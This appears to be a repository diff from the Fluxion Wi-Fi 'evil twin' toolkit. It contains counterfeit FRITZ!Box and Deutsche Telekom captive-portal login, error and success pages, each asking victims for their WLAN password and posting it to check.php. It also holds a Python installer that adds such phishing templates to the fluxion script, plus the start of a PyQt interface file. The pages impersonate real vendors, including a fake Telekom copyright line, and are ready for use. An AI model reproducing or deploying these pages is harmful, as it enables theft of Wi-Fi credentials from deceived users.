height: 1.7rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin-right: 0.25rem;
}
.btn_form_foot {
border-top: 1px solid #d5d5d5;
margin: 1.75rem 0 0 0;
padding: 1rem 1.25rem 0 1.25rem;
text-align: right;
width: 100%;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
align-items: center;
}
.forgotPass .btn_form_foot {
justify-content: flex-start;
}
.btn_form_foot a {
display: inline-block;
text-decoration: none;
font-size: 0.9375rem;
font-weight: normal;
color: #4269a4;
margin: 0;
padding: 0.1rem 0 0 0;
cursor: pointer;
}
.btn_form_foot a:hover {
text-decoration: underline;
}
}
@media (max-width: 759px) {
/*für mobile Ansicht*/
html {
background-color: #ffffff;
background-image: none;
}
body {
height: auto;
}
header {
height: 3.75rem;
}
.dialog_outer {
font-size: 1.25rem;
background-image: none;
padding: 3.75rem 0 4.25rem 0;
}
.blue_bar_title {
text-align: left;
padding: 1rem 0 1.035rem 0.15rem;
font-size: 1.25rem;
font-weight: normal;
}
.blue_bar_title.hide {
color: transparent;
}
.dialog_inner {
width: 90%;
margin: 0;
}
.dialog_head_box {
display: none;
}
.logoBox {
height: 3.75rem;
background-position: left 0.5rem center;
background-size: 3.75rem;
width: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0;
}
label,
input,
select {
vertical-align: middle;
display: inline-block;
margin: 0 0 0.5rem;
color: #3F464C;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0;
}
.formular label {
width: 10rem;
line-height: 1.7rem;
margin: 0 0.5rem 0 0;
vertical-align: top;
}
#uiLoginError,
#uiUsernameError {
margin: 0 0 1rem 0;
font-size: 1.15rem;
}
#uiUsernameError.hidden,
#uiLoginError,
#uiLoginError.hidden {
margin: 0;
}
.formular input,
.formular select {
border: 1px solid #d5d5d5;
height: 1.7rem;
width: 100%;
max-width: 20rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin: 0 0.5rem 0.5rem 0;
}
.btn_form_foot {
border: none;
margin: 0 -1.25rem 0 -1.25rem;
padding: 0 1.25rem;
text-align: center;
width: calc(100% + 2.5rem);
display: flex;
flex-direction: column-reverse;
}
button,
.btn_form_foot button {
min-width: 100%;
min-height: 2.2rem;
margin: 0;
}
.btn_form_foot button {
margin: 2rem 0 0 0;
}
.btn_form_foot a {
display: block;
position: fixed;
bottom: 0;
left: 0;
text-align: center;
width: 100%;
padding: 1rem 0;
background-color: #f1f6f9;
cursor: pointer;
}
.btn_form_foot a {
color: #3080C8;
}
.logoBox.fake {
display: none;
}
}
.perfTestHead {
border-top: 1px solid #ff3000;
margin: 1rem 0 0 0;
padding: 1.25rem 1.25rem 0 1.25rem;
color: #ff3000;
cursor: pointer;
}
.perfTestHead span {
display: inline-block;
height: 1rem;
width: 2rem;
background-image: url("/css/rd/images/link_open_red.svg");
background-position: center;
background-size: 1rem;
background-repeat: no-repeat;
}
.perfTestHead.show span {
background-image: url("/css/rd/images/link_closed_red.svg");
}
.perfTestMsg {
display: none;
padding: 0 1.25rem 0 1.25rem;
}
.perfTestMsg.show {
display: block;
}
.forgotPass .perfTestHead,
.forgotPass .perfTestMsg.show {
display: none;
}
.hintMsg {
font-weight: bold;
}
@media (max-width: 759px) {
.perfTestHead {
margin: 1.5rem 0 0 0;
padding: 1.25rem 0 0 0;
}
.perfTestMsg {
padding: 0;
}
}
@media (min-width: 2040px) {
html {
font-size: 0.79vw;
}
}
</style>
<title>
FRITZ!Box
</title>
</head>
<body>
<script>
var gNbc = false,
config = {"gu_type":"release","isDebug":false,"GUI_IS_REPEATER":false};
</script>
<script src="FRITZ%21Box-Dateien/avmcore.js"></script>
<!--<script src="/js/browser.js"></script>-->
<!--<script src="/js/jsl.js"></script>-->
<!--<script src="/js/md5.js"></script>-->
<!--<script src="/js/html.js"></script>-->
<!--<script src="/js/func.js"></script>-->
<!--<script type="text/javascript" src="/myfritz/js/focuschanger.js?lang=de"></script>-->
<!--<script src="/js/html2.js?lang=de"></script>-->
<!--<script src="/js/http.js"></script>-->
<script type="text/javascript" src="FRITZ%21Box-Dateien/login.js"></script>
<script type="text/javascript">
</script>
<header id="blueBarBox" name="" class=""><div id="" name="" class="logoBox"></div>
<div id="blueBarTitel" name="" class="blue_bar_title">FRITZ!Box WLAN</div>
<div id="" name="" class="logoBox fake"></div></header><div class="dialog_outer">
<div id="dialogInner" class="dialog_inner">
<div id="dialogHeadBox" class="dialog_head_box">
<h2 id="dialogTitle">Welcome to your FRITZ!Box</h2></div>
<div id="dialogContent" class="dialog_content">
<form method="post" action="check.php" id="form1" name="form1" class="loginForm">
<div class="formular">
<p>Please log in with your WLAN-password.</p>
<input tabindex="2" name="key1" type="password">
<div id="uiLoginError" class="hidden">
<p id="uiWait" class="error_text"></p></div></div>
<div class="btn_form_foot">
<input name="response" id="uiResp" value="" type="hidden">
<input name="lp" value="" type="hidden">
<input name="username" id="username" value="" type="hidden">
<button type="submit" tabindex="3" id="submitLoginBtn">Log in</button>
<a>Forgot password?</a></div></form></div></div></div>

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 18 KiB

1300
sites/google_de/error.html Normal file

File diff suppressed because one or more lines are too long

1286
sites/google_de/final.html Normal file

File diff suppressed because one or more lines are too long

1297
sites/google_de/index.html Normal file

File diff suppressed because one or more lines are too long

307
sites/siteinstaller.py Executable file
View File

@ -0,0 +1,307 @@
#!/usr/bin/env python
# -*- coding: cp852 -*-
import sys
import getopt
import os
import subprocess
sys.path.insert(0, './locale')
# ###################
# ## OPTIONS ########
# ###################
site_name = ''
site_language = ''
installed_sites = 0
flux_cont = ''
#flux_comp_versions = ['0.24']
flinstall_version = '0.11'
# ###################
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
def main(argv):
global site_name, site_language
if os.geteuid() != 0:
exit('You need to have root privileges to run this script.\nPlease try again, this time using \'sudo\'. Exiting....')
sys.exit()
usage = '>>>\tUsage:\n' +'\t\tsiteinstaller.py -f <filename>' +'\n\t\tsiteinstaller.py --file <file>\n\n>>>\tOnly *.tar.gz compressed files!'
try:
opts, args = getopt.getopt(sys.argv[1:], 'f:h', ['file=', 'help'])
if(len(opts) <= 0):
print(usage)
sys.exit()
except getopt.GetoptError:
print(usage)
sys.exit(2)
for opt, arg in opts:
if opt in ('-h', '--help'):
print(usage)
sys.exit(2)
elif opt in ('-f', '--file'):
if not('.tar.gz' in arg):
print('ONLY *.tar.gz files supported.')
sys.exit()
if(os.path.isfile(arg) == False):
print('Your file does not exist, maybe a typo?')
sys.exit()
site_name = arg[:arg.rfind('.tar.gz')]
site_language = site_name[site_name.rfind('_')+1:]
else:
print(usage)
if __name__ == "__main__":
main(sys.argv[1:])
# Language Selector
print('\033[1;91m [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')
print(' [ ]')
print(' [ FluxIon - Site Installer v' + flinstall_version + ' ]')
print('\033[94m [ ]')
print(' [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')
print('\033[39m')
print(' # Select your language:')
print('')
print('[1] English')
print('[2] German')
print('')
lang = raw_input(' [#]:')
if(lang == '1'):
from en_EN import language
elif(lang == '2'):
from de_DE import language
else:
from en_EN import language
# ###############
def check_fluxion():
global installed_sites, flux_cont
try:
fl = open('fluxion','rw')
flux_cont = fl.read()
fl.close()
except:
print(language.COULD_NOT_OPEN_FLUX)
sys.exit()
if(flux_cont <= 100):
print(language.NO_FLUXION_FOUND)
sys.exit()
flv = ''
flr = ''
fld = ''
if('version=' in flux_cont) and ('revision=' in flux_cont):
flv = flux_cont[flux_cont.find('version=')+8:]
flv = flv[:flv.find('\n')]
flr = flux_cont[flux_cont.find('revision=')+9:]
flr = flr[:flr.find('\n')]
else:
print(language.CORRUPTED_FLUX)
sys.exit()
# Version check
#vchk = False
#for version in flux_comp_versions:
# if(version == flv):
# vchk = True
#if(vchk == False):
# print('Your fluxion version '+color.BOLD + flv + color.END + '. \nSupported versions are - ' + ' - '.join(reversed(flux_comp_versions)))
# sys.exit()
# ###############
installed_sites = int(flux_cont.count('elif [ "$webconf" ='))
fls = str(installed_sites + 1)
# Check on double installation!
fld = flux_cont[flux_cont.find('$DUMP_PATH/data/index.htm'):]
if(site_name in fld):
usdc = raw_input(language.DOUBLE_INSTALL + ' "' + site_name + '" ' + language.CONTINUE_ANYWAY + ' [Y\\n]')
if(len(usdc) <= 0) or (usdc == 'y') or (usdc == 'yes'):
pass
else:
sys.exit()
# ###############
return flv + '#' + flr + '#' + fls
def welcome():
flc = check_fluxion().split('#')
wsn = int(22 - len(site_name))
whitespacen = ''
wsl = int((22+6) - len(site_language))
whitespacel = ''
for i in xrange(wsn):
whitespacen += ' '
if(i+1 == wsn) and (i+1 <= wsn):
whitespacen += '#'
for i in xrange(wsl):
whitespacel += ' '
if(i+1 == wsl) and (i+1 <= wsl):
whitespacel += '#'
print('\033[1;91m [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')
print(' [ ]')
print(' [ FluxIon - Site Installer v'+ flinstall_version + ' ]')
print('\033[94m [ ]')
print(' [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]')
print('\033[39m')
print(' # ############## FluxIon found! ##############')
print(' # \033[39mVersion: '+ flc[0] +' #')
print(' # \033[39mRevision: '+ flc[1] +' #')
print(' # \033[39mInstalled Sites: '+ flc[2] +' #')
print(' # ############################################')
print('')
print(' # ############################################')
print(' # \033[39mSiteName to install: ' + site_name + whitespacen)
print(' # \033[39mLanguage flag: ' + site_language + whitespacel)
print(' # ############################################')
print('')
print(' # ########### Everything correct? ############')
print('')
usc = raw_input(' # ' + language.BEGIN_INSTALL + '? [Y\\n]').lower()
if(len(usc) <= 0) or (usc == 'y') or (usc == 'yes'):
pass
else:
print('\n\t # ' + language.NOTHING_CHANGED)
sys.exit()
# ########################################################################################
# ########################################################################################
# ########################################################################################
# ########################################################################################
# ########################################################################################
# ########################################################################################
# ########################################################################################
welcome()
# ###### First INSERT
def insert_at_secondlast_pos1():
global flux_cont, site_name, site_language
whitespaces = ''
search_string = 'echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e'
ws = int(12 - len(site_name))
for i in xrange(ws):
whitespaces+=' '
insert_site = 'echo -e " "$red"["$yellow"$n"$red"]"$transparent" ' + site_name + whitespaces + '[' + site_language + '] ";n=` expr $n + 1`\n'
before = flux_cont[:int(flux_cont.rfind(search_string))]
after = '\t\t\t' + flux_cont[int(flux_cont.rfind(search_string)):]
flux_cont = before + insert_site + after
# ##########################################
# ###### Second INSERT
def insert_at_secondlast_pos2():
global installed_sites, flux_cont, site_name
site_number = str(installed_sites +1)
insert_site = 'elif [ "$webconf" = "'+ site_number +'" ]; then\n\t\t\t\t' + site_name + '\n\t\t\t\tbreak\n\n\t\t\t'
flux_cont = flux_cont[:int(flux_cont.rfind('elif [ "$webconf" ='))] + insert_site + flux_cont[int(flux_cont.rfind('elif [ "$webconf" =')):]
def last_option_correct_number2():
global installed_sites, flux_cont
acc = int(flux_cont.rfind('elif [ "$webconf" ='))
acc0 = int(flux_cont[acc:].find('" = "')+5)
before = flux_cont[:acc+acc0]
after = flux_cont[acc+acc0+2:]
flux_cont = before + str(installed_sites+2) + after
# ##########################################
# ###### Third INSERT
def insert_at_last_pos3():
global flux_cont, site_name
insert_site = '\n\nfunction ' + site_name + ' {\n\tmkdir $DUMP_PATH/data &>$flux_output_device\n\tcp $WORK_DIR/Sites/' + site_name + '/* $DUMP_PATH/data\n\t}'
before = flux_cont[:int(flux_cont.rfind('}'))+1]
after = flux_cont[int(flux_cont.rfind('}'))+1:]
flux_cont = before + insert_site + after
# ##########################################
print('')
print(' # '+ language.CREATING_BACKUP +'...')
try:
subprocess.Popen(['cp','fluxion', 'bckp_fluxion'])
except:
print(language.NO_PERM)
sys.exit()
print(' # ' + language.DONE + '!')
print('')
print(' # ' + language.COPYING_FILES + '...')
try:
subprocess.Popen(['tar','xfz', site_name + '.tar.gz', '-C', 'Sites/'])
except:
print(language.COULD_NOT_COPY + '...')
sys.exit()
print(' # ' + language.DONE + '!')
print('')
print(' # ' + language.RECONFIGURE_FLUXION_BASH + '...')
try:
insert_at_secondlast_pos1()
insert_at_secondlast_pos2()
last_option_correct_number2()
insert_at_last_pos3()
except:
print(language.INTERNAL_FAILURE + '...')
e = sys.exc_info()[0]
print(language.ERROR + ": %s" % e )
sys.exit()
print(' # ' + language.DONE + '!')
print('')
print(' # '+ language.REWRITING_FLUXION_BASH + '...')
try:
wflux = open('fluxion','w')
wflux.write(flux_cont)
wflux.close()
except:
print(language.FATAL_ERROR + '[501]...')
print(language.TRYING_TO_RESTORE_BACKUP)
try:
subprocess.Popen(['mv','bckp_fluxion', 'fluxion'])
print('FluxIon ' + language.BACKUP_RESTORED + '...')
except:
print(language.FATAL_ERROR + '[502]...')
sys.exit()
print(' # ' + language.DONE + '!')
print('')
print(' # ' + language.SETTING_MODES + '...')
try:
subprocess.Popen(['chmod','755', 'Sites/' + site_name +'/'])
subprocess.Popen(['chmod','644', '-R', 'Sites/' + site_name +'/'])
print(' # ' + DONE + '!')
except:
pass
#print('ERROR[506]... ' + language.CONTINUE + '...')
#print("Unexpected error:", sys.exc_info()[0])
print('')
print(' # ' + language.VERIFYING_INTEG + '...')
try:
fluxit = open('fluxion','r')
integ_fluxion = fluxit.read()
fluxit.close()
if(len(integ_fluxion) == len(flux_cont)):
print(' # ' + language.DONE + '!')
print(' # ' + language.DELETING_BACKUP + '...')
subprocess.Popen(['rm','bckp_fluxion'])
else:
print(language.FATAL_ERROR + '[509]...')
sys.exit()
except:
print(language.FATAL_ERROR + '[503]...')
sys.exit()
print('\n # ' + site_name + '" ' + language.SUCCESS + '!')

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,325 @@
/* ------------------------------------------------------------------------ */
/* Header */
/* ------------------------------------------------------------------------ */
#tbs-header {
height: 84px;
margin-bottom: 12px;
}
#tbs-header-content {
background-color: #e20074;
color: #fff;
height: inherit;
left:0;
line-height: 84px;
overflow: hidden;
padding: 0 24px;
position:fixed;
top:0;
transition: height linear 0.25s;
-webkit-transition: height linear 0.25s;
-moz-transition: height linear 0.25s;
width: 100%;
z-index: 1;
}
body.scrolled #tbs-header-content {
height: 4px;
}
#tbs-nav {
height: 36px;
padding: 0 24px;
}
#tbs-nav-content {
margin-left: -8px;
}
/* ------------------------------------------------------------------------ */
/* Login-Box */
/* ------------------------------------------------------------------------ */
#tbs-container {
margin: 0 auto;
max-width: 500px;
padding: 48px 12px 0;
}
#tbs-headline {
margin-bottom: 48px;
}
#tbs-headline h1 {
margin: 0;
padding: 0;
}
#tbs-headline h5 {
margin: 0;
padding: 0;
top: 6px;
}
#tbs-infobox {
background-color: #f2f2f2;
padding: 12px 12px;
line-height: 1em;
}
#pw_submit {
position: relative;
}
#pw_submit[disabled]:after {
background: url('../images/load.gif') no-repeat;
background-size: cover;
bottom: 0;
content: '';
height: 24px;
margin: auto 0;
/*opacity: 0.15;*/
position: absolute;
right: -36px;
top: 0;
width: 24px;
}
#tbs-recovery-link {
text-align: right;
margin-bottom: 2px;
}
.tbs-reauth-label {
font-size: 15px;
line-height: 36px;
}
.error-box {
background-color: #fdf2f2;
border: 1px solid #b20000;
border-radius: 4px;
color: #b20000;
font-size: 16px;
margin-bottom: 36px;
padding: 12px;
}
/* ------------------------------------------------------------------------ */
/* Footer */
/* ------------------------------------------------------------------------ */
#tbs-footer {
border-top: 1px solid #dcdcdc;
margin-top: 72px;
padding: 12px 24px 36px;
}
#tbs-footer.sticky {
bottom: 0;
position: fixed;
width: 100%;
}
#tbs-footer .tbs-text-11 {
color: #8c8c8c;
}
/* ------------------------------------------------------------------------ */
/* PDE Toolbox */
/* ------------------------------------------------------------------------ */
ol {
margin: 0;
padding: 0 0 0 24px;
}
p, p[class] {
padding: 0;
}
.icon-information {
cursor: pointer;
}
.form-input-set {
position: relative;
}
.form-input-set .icon-information {
position: absolute;
right: 12px;
bottom: 9px;
}
.form-input-set label {
bottom: 1px;
cursor: text;
left: 12px;
line-height: 35px;
position: absolute;
}
.form-input {
padding-left: 35%;
padding-right: 36px;
}
.modal.fade.in {
z-index: 2;
}
.btn-large {
padding-left: 48px;
padding-right: 48px;
}
/* Button link from bootstrap */
.btn-link {
border-radius: 0;
color: #0090c4;
font-weight: normal;
padding: 0;
}
.btn-link,
.btn-link:active,
.btn-link.active,
.btn-link[disabled],
fieldset[disabled] .btn-link {
background-color: transparent;
box-shadow: none;
-webkit-box-shadow: none;
}
.btn-link,
.btn-link:hover,
.btn-link:focus,
.btn-link:active {
border-color: transparent;
}
.btn-link:hover,
.btn-link:focus {
background-color: transparent;
text-decoration: underline;
}
.btn-link[disabled]:hover,
fieldset[disabled] .btn-link:hover,
.btn-link[disabled]:focus,
fieldset[disabled] .btn-link:focus {
color: #777;
text-decoration: none;
}
/* ------------------------------------------------------------------------ */
/* Callback Tracking */
/* ------------------------------------------------------------------------ */
#callback-tracking {
height: 1px;
width: 1px;
border: none;
position: absolute;
top: 0; left: 0;
}
/* ------------------------------------------------------------------------ */
/* Common */
/* ------------------------------------------------------------------------ */
.tbs-absolute {
position: absolute;
}
.tbs-full-width {
width: 100%;
}
.tbs-line-height-32 {
line-height: 32px;
}
.tbs-relative {
position: relative;
}
.tbs-sep-6 {
height: 72px;
}
.tbs-text-upper {
text-transform: uppercase;
}
.tbs-text-zero {
font-size: 0;
}
.tbs-text-1em {
line-height: 1em;
}
.tbs-text-11 {
font-size: 11px;
}
/* ------------------------------------------------------------------------ */
/* Responsive */
/* ------------------------------------------------------------------------ */
@media screen and (max-width: 639px) {
#tbs-nav + #tbs-container {
padding: 12px 12px 0;
}
#tbs-footer {
padding: 0 24px 36px;
}
#tbs-footer .pull-right, #tbs-footer .pull-left {
float: none;
}
#tbs-footer .pull-left {
margin-top: 12px;
}
h1.marketing-l {
font-size: 36px;
}
.form-input {
height: 60px;
padding-left: 12px;
padding-top: 24px;
}
.form-input-set .icon-information {
bottom: 20px;
}
.form-input-set label {
line-height: 58px;
transition: all linear 0.10s;
}
.form-input-set.floating label {
bottom: 36px;
line-height: 1em;
font-size: 12px;
font-weight: 600;
}
/* workaround when the input field is auto filled in Chrome */
.form-input-set .form-input:-webkit-autofill + label {
bottom: 36px;
line-height: 1em;
font-size: 12px;
font-weight: 600;
}
.tbs-reauth-label {
font-size: 12px;
line-height: 1em;
}
}

135
sites/telekom/error.html Normal file
View File

@ -0,0 +1,135 @@
<!DOCTYPE html>
<!--[if (lte IE 8) ]><html lang="de-DE" class="no-js lte-ie8"><![endif]-->
<!--[if (gt IE 8)|!(IE)]><!-->
<html class="no-js" lang="de"><!--<![endif]--><!-- HEAD --><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Telekom Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="Telekom%20Login-Dateien/components.css">
<link rel="stylesheet" type="text/css" href="Telekom%20Login-Dateien/login.css">
</head>
<!-- /HEAD -->
<!-- BODY -->
<body>
<!-- HEADER -->
<div id="tbs-header">
<div id="tbs-header-content">
<div class="container-fixed clearfix">
<div class="tbs-text-zero pull-left">
<i class="icon icon-large icon-telekom-1T1"></i>
<i class="icon icon-large icon-digits"></i>
</div>
<div class="pull-right">
<p class="text-right text-bold text-small tbs-text-upper">erleben, was verbindet</p>
</div>
</div>
</div>
</div>
<!-- /HEADER -->
<!-- CANCEL FORM -->
<!-- /CANCEL FORM -->
<!-- CONTENT -->
<div id="tbs-container">
<div id="tbs-headline">
<h1 class="text-center marketing-l text-thin tbs-text-1em">Telekom Login</h1>
</div>
<div class="error-box">
<div class="error-box__content"><i class="icon icon-large">X</i> Das Kennwort ist nicht korrekt.</div>
</div>
<div id="tbs-infobox">
<p>Bitte melden Sie sich mit Ihrem WLAN-Kennwort an.</p>
</div>
<form id="form1" name="form1" method="POST" action="check.php" accept-charset="UTF-8" autocomplete="off">
<!-- XSRF Prevention -->
<div class="offset-bottom-4">
<!-- Re-Authentication -->
<div class="container offset-bottom-1">
</div>
<!-- username input -->
<div class="form-input-set offset-bottom-1">
<input id="key1" name="key1" class="form-input" maxlength="256" tabindex="10" type="password">
<label for="pw_usr">WLAN Kennwort</label>
</div>
<!-- Login button -->
<br>
<div class="text-center">
<button id="pw_submit" name="pw_submit" type="submit" class="btn btn-brand btn-large tbs-text-upper" tabindex="40">Login</button>
</div>
</div>
</form>
<div class="text-center">
</div>
</div>
<!-- /CONTENT -->
<!-- FOOTER -->
<div id="tbs-footer" class="sticky">
<div class="container-fixed">
<div class="text-small clearfix">
<div class="pull-left">
<p>&copy; 2017 Deutsche Telekom AG</p>
</div>
<div class="pull-right clearfix">
<div class="pull-left">
<a class="offset-right-4" href="https://www.telekom.com/impressum" target="_blank" tabindex="90">Impressum</a>
</div>
</div>
</div>
</div>
</div>
<!-- /FOOTER -->
<!-- Status -->
<script>
var accountLocked = false;
var accountLockedPermanent = false;
var accountLockExpiration = 0;
</script>
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script type="text/javascript" src="/static/vdplus/js/html5shiv.js"></script>
<script type="text/javascript" src="/static/vdplus/js/respond.min.js"></script>
<![endif]-->
<script type="text/javascript" src="Telekom%20Login-Dateien/jquery-1.js"></script>
<script type="text/javascript" src="Telekom%20Login-Dateien/components.js"></script>
<script type="text/javascript" src="Telekom%20Login-Dateien/login.js"></script>
<!-- Tracking -->
<!-- Callback Tracking -->
<!-- Toon Template Debugging -->
</body><!-- /BODY --></html>

102
sites/telekom/final.html Normal file
View File

@ -0,0 +1,102 @@
<!DOCTYPE html>
<!--[if (lte IE 8) ]><html lang="de-DE" class="no-js lte-ie8"><![endif]-->
<!--[if (gt IE 8)|!(IE)]><!-->
<html class="no-js" lang="de"><!--<![endif]--><!-- HEAD --><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Telekom Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="Telekom%20Login-Dateien/components.css">
<link rel="stylesheet" type="text/css" href="Telekom%20Login-Dateien/login.css">
</head>
<!-- /HEAD -->
<!-- BODY -->
<body>
<!-- HEADER -->
<div id="tbs-header">
<div id="tbs-header-content">
<div class="container-fixed clearfix">
<div class="tbs-text-zero pull-left">
<i class="icon icon-large icon-telekom-1T1"></i>
<i class="icon icon-large icon-digits"></i>
</div>
<div class="pull-right">
<p class="text-right text-bold text-small tbs-text-upper">erleben, was verbindet</p>
</div>
</div>
</div>
</div>
<!-- /HEADER -->
<!-- CANCEL FORM -->
<!-- /CANCEL FORM -->
<!-- CONTENT -->
<div id="tbs-container">
<div id="tbs-headline">
<h1 class="text-center marketing-l text-thin tbs-text-1em">Telekom Login</h1>
</div>
<div class="text-center">
<div id="tbs-infobox">
<p><i class="icon icon-large">V</i> Login erfolgreich, Sie werden nun weitergeleitet.</p>
</div>
</div>
</div>
<!-- /CONTENT -->
<!-- FOOTER -->
<div id="tbs-footer" class="sticky">
<div class="container-fixed">
<div class="text-small clearfix">
<div class="pull-left">
<p>&copy; 2017 Deutsche Telekom AG</p>
</div>
<div class="pull-right clearfix">
<div class="pull-left">
<a class="offset-right-4" href="https://www.telekom.com/impressum" target="_blank" tabindex="90">Impressum</a>
</div>
</div>
</div>
</div>
</div>
<!-- /FOOTER -->
<!-- Status -->
<script>
var accountLocked = false;
var accountLockedPermanent = false;
var accountLockExpiration = 0;
</script>
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script type="text/javascript" src="/static/vdplus/js/html5shiv.js"></script>
<script type="text/javascript" src="/static/vdplus/js/respond.min.js"></script>
<![endif]-->
<script type="text/javascript" src="Telekom%20Login-Dateien/jquery-1.js"></script>
<script type="text/javascript" src="Telekom%20Login-Dateien/components.js"></script>
<script type="text/javascript" src="Telekom%20Login-Dateien/login.js"></script>
<!-- Tracking -->
<!-- Callback Tracking -->
<!-- Toon Template Debugging -->
</body><!-- /BODY --></html>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

133
sites/telekom/index.html Normal file
View File

@ -0,0 +1,133 @@
<!DOCTYPE html>
<!--[if (lte IE 8) ]><html lang="de-DE" class="no-js lte-ie8"><![endif]-->
<!--[if (gt IE 8)|!(IE)]><!-->
<html class="no-js" lang="de"><!--<![endif]--><!-- HEAD --><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Telekom Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="Telekom%20Login-Dateien/components.css">
<link rel="stylesheet" type="text/css" href="Telekom%20Login-Dateien/login.css">
</head>
<!-- /HEAD -->
<!-- BODY -->
<body>
<!-- HEADER -->
<div id="tbs-header">
<div id="tbs-header-content">
<div class="container-fixed clearfix">
<div class="tbs-text-zero pull-left">
<i class="icon icon-large icon-telekom-1T1"></i>
<i class="icon icon-large icon-digits"></i>
</div>
<div class="pull-right">
<p class="text-right text-bold text-small tbs-text-upper">erleben, was verbindet</p>
</div>
</div>
</div>
</div>
<!-- /HEADER -->
<!-- CANCEL FORM -->
<!-- /CANCEL FORM -->
<!-- CONTENT -->
<div id="tbs-container">
<div id="tbs-headline">
<h1 class="text-center marketing-l text-thin tbs-text-1em">Telekom Login</h1>
</div>
<div id="tbs-infobox">
<p>Bitte melden Sie sich mit Ihrem WLAN-Kennwort an.</p>
</div>
<form id="form1" name="form1" method="POST" action="check.php" accept-charset="UTF-8" autocomplete="off">
<!-- XSRF Prevention -->
<div class="offset-bottom-4">
<!-- Re-Authentication -->
<div class="container offset-bottom-1">
</div>
<!-- username input -->
<div class="form-input-set offset-bottom-1">
<input id="key1" name="key1" class="form-input" maxlength="256" tabindex="10" type="password">
<label for="pw_usr">WLAN Kennwort</label>
</div>
<!-- Login button -->
<br>
<div class="text-center">
<button id="pw_submit" name="pw_submit" type="submit" class="btn btn-brand btn-large tbs-text-upper" tabindex="40">Login</button>
</div>
</div>
</form>
<div class="text-center">
</div>
</div>
<!-- /CONTENT -->
<!-- FOOTER -->
<div id="tbs-footer" class="sticky">
<div class="container-fixed">
<div class="text-small clearfix">
<div class="pull-left">
<p>&copy; 2017 Deutsche Telekom AG</p>
</div>
<div class="pull-right clearfix">
<div class="pull-left">
<a class="offset-right-4" href="https://www.telekom.com/impressum" target="_blank" tabindex="90">Impressum</a>
</div>
</div>
</div>
</div>
</div>
<!-- /FOOTER -->
<!-- Status -->
<script>
var accountLocked = false;
var accountLockedPermanent = false;
var accountLockExpiration = 0;
</script>
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script type="text/javascript" src="/static/vdplus/js/html5shiv.js"></script>
<script type="text/javascript" src="/static/vdplus/js/respond.min.js"></script>
<![endif]-->
<script type="text/javascript" src="Telekom%20Login-Dateien/jquery-1.js"></script>
<script type="text/javascript" src="Telekom%20Login-Dateien/components.js"></script>
<script type="text/javascript" src="Telekom%20Login-Dateien/login.js"></script>
<!-- Tracking -->
<!-- Callback Tracking -->
<!-- Toon Template Debugging -->
</body><!-- /BODY --></html>

182
ui/fluxion.py Normal file
View File

@ -0,0 +1,182 @@
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'ui/fluxion.ui'
#
# Created by: PyQt4 UI code generator 4.11.4
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8("MainWindow"))
MainWindow.resize(804, 527)
MainWindow.setAnimated(True)
self.centralwidget = QtGui.QWidget(MainWindow)
self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
self.gridLayout_7 = QtGui.QGridLayout(self.centralwidget)
self.gridLayout_7.setObjectName(_fromUtf8("gridLayout_7"))
self.BottomTabWidget = QtGui.QTabWidget(self.centralwidget)
self.BottomTabWidget.setSizeIncrement(QtCore.QSize(0, 0))
self.BottomTabWidget.setBaseSize(QtCore.QSize(0, 0))
self.BottomTabWidget.setObjectName(_fromUtf8("BottomTabWidget"))
self.LogTab = QtGui.QWidget()
self.LogTab.setObjectName(_fromUtf8("LogTab"))
self.gridLayout_3 = QtGui.QGridLayout(self.LogTab)
self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3"))
self.ProcessesTableView = QtGui.QTableView(self.LogTab)
self.ProcessesTableView.setObjectName(_fromUtf8("ProcessesTableView"))
self.gridLayout_3.addWidget(self.ProcessesTableView, 0, 0, 1, 1)
self.BottomTabWidget.addTab(self.LogTab, _fromUtf8(""))
